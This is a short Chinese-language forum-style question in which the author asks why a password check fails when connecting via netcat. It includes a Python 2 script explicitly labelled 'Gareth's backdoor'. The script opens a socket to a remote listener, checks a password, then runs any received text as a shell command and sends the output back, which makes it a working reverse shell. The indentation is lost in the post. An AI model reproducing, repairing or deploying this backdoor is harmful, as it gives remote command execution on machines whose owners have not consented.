由于某种原因,它不会进入我的 if 语句。
当我通过 netcat 连接并输入密码时,即使我输入了正确的密码,它也会跳到 else 语句。
#i/usr/bin/python
import subprocess,socket
HOST = '192.168.1.104'
PORT = 25565
passwd = "gareth"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
s.send('Connection established\n')
s.send("Enter Password: ")
pw = s.recv(1023)
if pw == passwd:
s.send("Gareth's backdoor\n")
else:
s.send("Wrong password\n")
s.close()
while 1:
data = s.recv(1023)
if data == "quit": break
proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
stdoutput = proc.stdout.read() + proc.stderr.read()
s.send(stdoutput)
# exit the loop
s.send('Bye now.')
s.close()